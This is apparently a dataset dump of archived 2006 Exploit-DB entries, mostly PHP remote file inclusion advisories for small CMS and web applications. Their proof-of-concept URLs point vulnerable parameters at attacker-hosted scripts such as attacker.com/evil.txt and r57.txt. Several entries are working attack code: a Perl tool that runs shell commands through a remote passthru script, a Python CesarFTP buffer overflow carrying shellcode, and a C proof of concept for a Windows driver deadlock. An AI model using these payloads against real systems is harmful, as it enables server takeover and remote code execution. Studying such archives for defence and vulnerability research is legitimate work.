QLWD/code_shield huggingface dataset:
标题: CMS Faethon 1.3.2 - 'mainpath' Remote File Inclusion EDB-ID: 1919 CVE: 2006-3186 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-16 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

     .OR.ID
ECHO_ADV_33$2006

---------------------------------------------------------------------------
[ECHO_ADV_33$2006] CMS Faethon 1.3.2 mainpath Remote File Inclusion
---------------------------------------------------------------------------

Author       : M.Hasran Addahroni a.k.a K-159
Date         : June, 16th 2006
Location     : Indonesia, Bali
Web          : http://advisories.echo.or.id/adv/adv33-K-159-2006.txt
Critical Lvl : Highly critical
Impact       : System access
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CMS Faethon 

Application : CMS Faethon 
version     : 1.3.2
URL         : http://cmsfaethon.com/
Description :

CMS Faethon is content management system for different web pages.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder data we found vulnerability script header.php.

-----------------------header.php----------------------
....
<?php
        include($mainpath . 'survey.php');
        ?>
        <h2>RSS - cmsfaethon.com</h2>
        <div class="rss-menu">
                <?php
                $source = 'http://cmsfaethon.com/feed/articles/rss2.php?LangSet=cs';
                include($mainpath . 'rss-reader.php');
        ?>
...
----------------------------------------------------------

Variables $mainpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mainpath in header.php


---------------------------------------------------------------------------
Shoutz:
~~~~~~
~ ping - my dearest wife, for all the luv the tears n the breath 
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit
~ newbie_hacker@yahoogroups.com 
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2006-06-16] URL: https://www.exploit-db.com/exploits/1919
标题: Micro CMS 0.3.5 - 'microcms_path' Remote File Inclusion EDB-ID: 1929 CVE: 2006-3144 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: #################### W W W . S Y S T E M D E F A C E R S . O R G #######################
########################################################################################
# Find By: CeNGiZ-HaN  ( guerilla@cyberkatliam.org )
# Risk   : High
# Script : micro cms www.impliedbydesign.com
########################################################################################
# GreeTz Al S-D-T Members //// Remote File inclusion //// (microcms_path)
########################################################################################
#
#
# http://target/micro_cms_path/micro_cms_files/microcms-include.php?microcms_path=[evil scripts]
#  
#
#
#########################################################################################
# ################### W W W . S Y S T E M D E F A C E R S . O R G #######################
#########################################################################################

# milw0rm.com [2006-06-19] URL: https://www.exploit-db.com/exploits/1929
标题: IdeaBox 1.1 - 'gorumDir' Remote File Inclusion EDB-ID: 1928 CVE: 2008-5199 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  IdeaBox <= 1.1 (gorumDir) Remote File Include Vulnerability
$$  script site: http://ideabox.phpoutsourcing.com/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
/*
19 Czerwca 2006r. Znikam na miesiac jade na wakacje :-)
---------------------------------------------------------------
19 June 2006 go to vacations !!!! I return for month, Cya ;-)
*/


#include.php:
/*
include("$gorumDir/generformlib_date.php");
include("$gorumDir/notification.php");
include("$gorumDir/zmail.php");
include("$ideaDir/user.php");
include("$ideaDir/globalsettings.php");
include("$ideaDir/init.php");
include("$ideaDir/idea.php");
include("$ideaDir/history.php");
include("$ideaDir/cord.php");
*/


#Expl:


http://www.site.com/[IdeaBox_path]/include.php?gorumDir=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-19] URL: https://www.exploit-db.com/exploits/1928
标题: DeluxeBB 1.06 - 'templatefolder' Remote File Inclusion EDB-ID: 1916 CVE: 2006-2914 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-15 漏洞利用脚本: Secunia Research has discovered some vulnerabilities in DeluxeBB,
which can be exploited by malicious people to conduct SQL injection
attacks and compromise a vulnerable system.

1) Input passed to the "templatefolder" parameter in various scripts
isn't properly verified, before it is used to include files. This can
be exploited to include arbitrary files from external and local
resources.

Examples:
http://[host]/templates/deluxe/postreply.php?templatefolder=[file]
http://[host]/templates/deluxe/posting.php?templatefolder=[file]
http://[host]/templates/deluxe/pm/newpm.php?templatefolder=[file]
http://[host]/templates/default/postreply.php?templatefolder=[file]
http://[host]/templates/default/posting.php?templatefolder=[file]
http://[host]/templates/default/pm/newpm.php?templatefolder=[file]

# milw0rm.com [2006-06-15] URL: https://www.exploit-db.com/exploits/1916
标题: FlashBB 1.1.8 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 1921 CVE: 2006-7032 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-17 漏洞利用脚本: #!/usr/bin/perl
##
# TUFaT FlashBB <= 1.1.5 (phpbb_root_path) Remote File Include Exploit
# Bugs found & code By h4ntu aka TeloGanyong 
# 
## base on https://www.securityfocus.com/bid/18456/
# 
##
#  http://h4ntu.com (c) 2006
#
# usage:
# perl flashBB.pl <target> <cmd shell location> <cmd shell variable>
#
# perl flashBB.pl http://target.com/flashbb http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
# 
# Contact: h4ntu #batamhacker@irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'phpbb/getmsg.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *TUFaT FlashBB <= 1.1.5 phpbb_root_path Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl $0 <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to TUFaT FlashBB ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by h4ntu \r\n";
 print "                    www.h4ntu.com #batamhacker irc.dal.net \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-06-17] URL: https://www.exploit-db.com/exploits/1921
标题: Ad Manager Pro 2.6 - 'ipath' Remote File Inclusion EDB-ID: 1923 CVE: 2006-3192 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-17 漏洞利用脚本: Ad Manager Pro 2.6 Remote File Include Vulnerability

homepage: phpwebscripts.com

Affected files: ad.php and common.php

Credit: Basti

Vulnerable Code:
if ($ipath) include($ipath.'/common.php'); else include('./common.php');

Example:
http://[site]/admanagerpro/common.php?ipath=http://site/r57.txt?

# milw0rm.com [2006-06-17] URL: https://www.exploit-db.com/exploits/1923
标题: The Bible Portal Project 2.12 - 'destination' File Inclusion EDB-ID: 1912 CVE: 2006-3177 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-14 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  The Bible Portal Project (destination) <= 2.12 Remote File Include Vulnerability
$$  script site: http://www.bibleportalproject.com/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

#rtf_parser.php:
/*
$read = preg_replace("/~ulnone/", "", $read);
$read = preg_replace("/~line/", "

\n", $read);
$read = trim($read);

fwrite($file, "$read\n");
fclose($file);


include"WeBelieveAEForm.inc";

echo"$add_form";
include"$destination.txt";
echo"
$add_form1
$html_guide
";
unlink("$destination.txt");
*/
#Expl:


http://www.site.com/[tbpp_path]/Admin/rtf_parser.php?destination=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-14] URL: https://www.exploit-db.com/exploits/1912
标题: Minerva 2.0.8a Build 237 - 'phpbb_root_path' File Inclusion EDB-ID: 1908 CVE: 2006-3028 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-13 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Minerva (phpbb_root_path) <= 2.0.8a Build 237 Remote File Include Vulnerability
$$  script site: http://sourceforge.net/projects/minerva/
$$  dork: Powered by Minerva 237
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
#Expl:


http://www.site.com/[Minerva_path]/stat_modules/users_age/module.php?phpbb_root_path=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-13] URL: https://www.exploit-db.com/exploits/1908
标题: PHP Blue Dragon CMS 2.9.1 - 'template.php' File Inclusion EDB-ID: 1913 CVE: 2006-3076 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-14 漏洞利用脚本: -----------------------------------------------------
Advisory id: FSA:015

Author:    Federico Fazzi
Date:      14/06/2006, 18:20
Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability
Type:      high
Product:   http://phpbluedragon.net/
Patch:     unavailable
-----------------------------------------------------


1) Description:

Error occured in template.php, line 23:

---
require($vsDragonRootPath."public_includes/pub_kernel/pbd_template_custom.php");
---

2) Proof of concept:

http://example/[pbd_path]/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=[cmd_url]/
(note this is with final slash (/))

3) Solution:

sanitized $vsDragonRootPath

# milw0rm.com [2006-06-14] URL: https://www.exploit-db.com/exploits/1913
标题: Content-Builder (CMS) 0.7.5 - Multiple Include Vulnerabilities EDB-ID: 1903 CVE: 2006-3172 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-11 漏洞利用脚本: -----------------------------------------------------
Advisory id: FSA:012

Author:    Federico Fazzi
Date:      11/06/2006, 22:30
Sinthesis: Content-Builder (CMS) 0.7.5, Remote command execution
Type:      high
Product:   http://www.content-builder.de/
Patch:     unavailable
-----------------------------------------------------


1) Description:

vulnerables page:

Multiple vulnerabilities, see poc.

2) Proof of concept:

http://example/[cb_path]/cms/plugins/col_man/column.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/poll/poll.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/user_managment/usrPortrait.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/user_managment/user.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/media_manager/media.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/events/permanent.eventMonth.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/events/events.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/newsletter2/newsletter.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/modules/guestbook/guestbook.inc.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/shoutbox/shoutBox.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/download/overview.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/download/detailView.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/sitemap/sitemap.inc.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/article/fullarticle.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article/comments.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/overview.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/fullarticle.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/comments.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/headline/headlineBox.php?rel=[cmd_url]/
http://example/[cb_path]/modules/headline/showHeadline.inc.php?rel=[cmd_url]/

(note: add a cmd url with final slash (/))

3) Solution:

sanitized all variables on all files.

# milw0rm.com [2006-06-11] URL: https://www.exploit-db.com/exploits/1903
标题: Microsoft Windows - NtClose DeadLock (MS06-030) EDB-ID: 1910 CVE: 2006-2373 类型: LOCAL 平台: WINDOWS 发布日期: 2006-06-14 漏洞利用脚本: ////////////////////////////////////////////////////////////////////////////////
///////// MRXSMB.SYS NtClose DEADLOCK exploit///////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//November 19,2005
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//ONLY FOR EDUCATION PURPOSES
////////////////////////////////////////////////////////////////////////////////
// Rubén Santamarta 
// ruben (at) reversemode (dot) com
// http://www.reversemode.com
////////////////////////////////////////////////////////////////////////////////

#include <windows.h>
#include <stdio.h>


#define MAGIC_IOCTL 0x141047


VOID ShowError()
{
 LPVOID lpMsgBuf;
 FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
               NULL,
               GetLastError(),
               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
               (LPTSTR) &lpMsgBuf,
               0,
               NULL);
 MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
 exit(1);
}


VOID IamAlive()
{
 DWORD i;
 
 for(i=0;i<0x1000;i++)
 {
  Sleep(1000);
  printf("\rI am a Thread and I am alive [%x]",i);
 } 

}


VOID KillMySelf()
{
     
 DWORD junk;
 DWORD *OutBuff;
 DWORD *InBuff;
 BOOL bResult;
 HANDLE hDevice;
 DWORD i;
 
  hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,
                      NULL, OPEN_EXISTING, 0, NULL);
                      
  if (hDevice == INVALID_HANDLE_VALUE) ShowError();
  
  OutBuff=(DWORD*)malloc(0x18);
  if(!OutBuff) ShowError();
  
  OutBuff[3]=(DWORD)hDevice;
  
  DeviceIoControl(hDevice,
                  MAGIC_IOCTL,
                  0,0,
                  OutBuff,0x18,
                  &junk,
                  (LPOVERLAPPED)NULL);
  // MAIN THREAD ENDING.
}


int main(int argc, char *argv[])
{
    
 LPTHREAD_START_ROUTINE GoodThread;
 DWORD dwThreadId;
 DWORD bResult;
 GoodThread=(LPTHREAD_START_ROUTINE)IamAlive;
 

  printf("-=[MRXSMB.SYS NtClose Vulnerability POC]=-\n");
  printf("\t(Only for educational purposes)\n");
  printf("..http://www.reversemode.com..\n\n");
  printf("Launching Thread ...");
  
  // PUT YOUR "GOOD" OR "BAD" CODE HERE
  // e.g GoodThread
  CreateThread(NULL,0,GoodThread,0,0,&dwThreadId);  
  
   
  printf("Done\n");
  printf("I am going to dissapear,but I will be with you forever\n");
  printf("(..)\n\n");
  KillMySelf(); // Immortal mode "on" ;)
  
  return(1); 
}

// milw0rm.com [2006-06-14] URL: https://www.exploit-db.com/exploits/1910
标题: CesarFTP 0.99g - 'MKD' Remote Buffer Overflow EDB-ID: 1906 CVE: 2006-2961 类型: REMOTE 平台: WINDOWS 发布日期: 2006-06-12 漏洞利用脚本: #!/usr/bin/python
#CesarFtp 0.99g 0day Exploit
#Proof of Concept: execute calc.exe
#Tested on XP sp2 polish
#Bug found by h07 [h07@interia.pl]
#Date: 10.06.2006

from socket import *

shellcode = ( #execute calc.exe <metasploit.com>
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

def intel_order(i):
    a = chr(i % 256)
    i = i >> 8
    b = chr(i % 256)
    i = i >> 8
    c = chr(i % 256)
    i = i >> 8
    d = chr(i % 256)
    str = "%c%c%c%c" % (a, b, c, d)
    return str

host = "127.0.0.1"
port = 21
user = "h07"
password = "open"
EIP = 0x7CA58265 #jmp esp <shell32.dll XP sp2 polish>

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3 + intel_order(EIP)
buffer += "\x90" * 40 + shellcode
buffer += "\r\n"

print "len: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()

#EoF 

# milw0rm.com [2006-06-12] URL: https://www.exploit-db.com/exploits/1906
标题: aePartner 0.8.3 - 'dir[data]' Remote File Inclusion EDB-ID: 1896 CVE: 2006-2996 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-10 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  aePartner (dir[data]) <= v.0.8.3 Remote File Include Vulnerability
$$  Script site: http://www.lovecompass.com/downloads/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:


http://www.site.com/[aePartner_path]/inc/design.inc.php?dir[data]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-10] URL: https://www.exploit-db.com/exploits/1896
标题: free QBoard 1.1 - 'qb_path' Remote File Inclusion EDB-ID: 1899 CVE: 2006-2998 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-11 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  free QBoard (qb_path) <= v.1.1 Remote File Include Vulnerability
$$  script site: http://sourceforge.net/projects/freeqboard/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
#Expl:


http://www.site.com/[QBoard_path]/board/post.php?qb_path=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-11] URL: https://www.exploit-db.com/exploits/1899
标题: empris r20020923 - 'phormationdir' Remote File Inclusion EDB-ID: 1895 CVE: 2006-2962 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-10 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Emergenices Personnel Information System (Empris) [phormationdir] <= v.20020923 Remote File Include Vulnerability
$$  Script site: http://sourceforge.net/projects/empris
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:


http://www.site.com/[Empris_path]/phormation/sql_fcnsOLD.php?phormationdir=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-10] URL: https://www.exploit-db.com/exploits/1895
标题: Enterprise Payroll Systems 1.1 - 'footer' Remote File Inclusion EDB-ID: 1891 CVE: 2006-2982 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-08 漏洞利用脚本: $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Enterprise TimeSheet and Payroll (EPS) <= v.1.1 Remote File Include Vulnerability
$$  Script site: http://epayroll.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:


http://www.site.com/[EPS_path]/footer.php?absolutepath=[evil_scripts]

http://www.site.com/[EPS_path]/admin/footer.php?absolutepath=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-08] URL: https://www.exploit-db.com/exploits/1891